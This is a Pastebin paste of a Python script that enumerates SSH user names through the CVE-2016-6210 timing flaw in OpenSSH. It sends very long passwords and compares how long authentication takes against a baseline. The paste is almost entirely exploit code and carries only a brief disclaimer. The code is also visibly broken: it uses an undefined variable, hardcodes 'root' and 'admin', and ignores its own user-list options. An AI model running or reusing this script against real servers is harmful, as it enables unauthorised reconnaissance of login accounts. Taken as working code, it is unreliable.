Advertisement
Guest User

Untitled

a guest
Nov 17th, 2018
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.94 KB | None | 0 0
  1. #!/usr/bin/python
  2. #
  3. # CVEs: CVE-2016-6210 (Credits for this go to Eddie Harari)
  4. #
  5. # Author: 0_o -- null_null
  6. # nu11.nu11 [at] yahoo.com
  7. # Oh, and it is n-u-one-one.n-u-one-one, no l's...
  8. # Wonder how the guys at packet storm could get this wrong :(
  9. #
  10. # Date: 2016-07-19
  11. #
  12. # Purpose: User name enumeration against SSH daemons affected by CVE-2016-6210.
  13. #
  14. # Prerequisites: Network access to the SSH daemon.
  15. #
  16. # DISCLAIMER: Use against your own hosts only! Attacking stuff you are not
  17. # permitted to may put you in big trouble!
  18. #
  19. # And now - the fun part :-)
  20. #
  21.  
  22.  
  23. import paramiko
  24. import time
  25. import numpy
  26. import argparse
  27. import sys
  28. from random import choice
  29. from string import lowercase
  30. args = None
  31.  
  32. class bcolors:
  33. HEADER = '\033[95m'
  34. OKBLUE = '\033[94m'
  35. OKGREEN = '\033[92m'
  36. WARNING = '\033[93m'
  37. FAIL = '\033[91m'
  38. ENDC = '\033[0m'
  39. BOLD = '\033[1m'
  40. UNDERLINE = '\033[4m'
  41.  
  42.  
  43. def get_args():
  44. parser = argparse.ArgumentParser()
  45. group = parser.add_mutually_exclusive_group()
  46. parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip")
  47. group.add_argument("-u", "--user", type = str, help = "Give a single user name")
  48. group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users")
  49. parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users")
  50. parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)")
  51. parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password")
  52. parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users")
  53. parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration")
  54. parser.add_argument("--trials", default = 10, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary")
  55. args = parser.parse_args()
  56. return args
  57.  
  58.  
  59. def get_banner(host, port):
  60. ssh = paramiko.SSHClient()
  61. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  62. try:
  63. ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid')
  64. except:
  65. banner = ssh.get_transport().remote_version
  66. ssh.close()
  67. return banner
  68.  
  69.  
  70. def connect(host, port, user):
  71. global args
  72. starttime = 0.0
  73. endtime = 0.0
  74. passwd_len = 900000
  75. crafted_passwd = "".join(choice(lowercase)
  76. for i in range(passwd_len))
  77. p = 'B' * int(90000)
  78. ssh = paramiko.SSHClient()
  79. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  80. starttime=time.clock()
  81. try:
  82. ssh.connect(hostname = host, port = port, username = user, password = P)
  83. except:
  84. endtime=time.clock()
  85. finally:
  86. ssh.close()
  87. return endtime - starttime
  88.  
  89.  
  90.  
  91. def main():
  92. global args
  93. args = get_args()
  94. if not args.silent: print("\n\nUser name enumeration against SSH daemons affected by CVE-2016-6210")
  95. if not args.silent: print("Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari\n\n")
  96. if args.host:
  97. host = args.host.split(":")[0]
  98. try:
  99. port = int(args.host.split(":")[1])
  100. except IndexError:
  101. port = 22
  102. users = 'root'
  103. if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC + ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC)
  104. # get baseline timing for non-existing users...
  105. baseline_samples = []
  106. baseline_mean = 0.0
  107. baseline_deviation = 0.0
  108. if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users")
  109. for i in range(1, int(args.samples) + 1):
  110. if not args.silent: sys.stdout.write('.')
  111. if not args.silent: sys.stdout.flush()
  112. sample = connect(host, port, 'admin')
  113. baseline_samples.append(sample)
  114. if not args.silent: sys.stdout.write('\n')
  115. # remove the biggest and smallest value
  116. baseline_samples.sort()
  117. baseline_samples.pop()
  118. baseline_samples.reverse()
  119. baseline_samples.pop()
  120. # do math
  121. baseline_mean = numpy.mean(numpy.array(baseline_samples))
  122. baseline_deviation = numpy.std(numpy.array(baseline_samples))
  123. if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.")
  124. if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.")
  125. upper = baseline_mean + float(args.factor) * baseline_deviation
  126. if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.")
  127. if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...")
  128. #
  129. # Get timing for the given user name...
  130. #
  131. for u in range(0, int(100000)):
  132. user = u
  133. enum_samples = []
  134. enum_mean = 0.0
  135. for t in range(0, int(10)):
  136. timeval = connect(host, port, 'root')
  137. enum_samples.append(timeval)
  138. enum_mean = numpy.mean(numpy.array(enum_samples))
  139. if (enum_mean < upper):
  140. if not (args.enumerated or args.silent) :
  141. print(bcolors.FAIL + "[-] " + bcolors.ENDC +" - timing: " + str(enum_mean))
  142. else:
  143. if not args.silent:
  144. print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + " - timing: " + str(enum_mean))
  145. else:
  146. print(user)
  147.  
  148.  
  149.  
  150.  
  151. if __name__ == "__main__":
  152. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement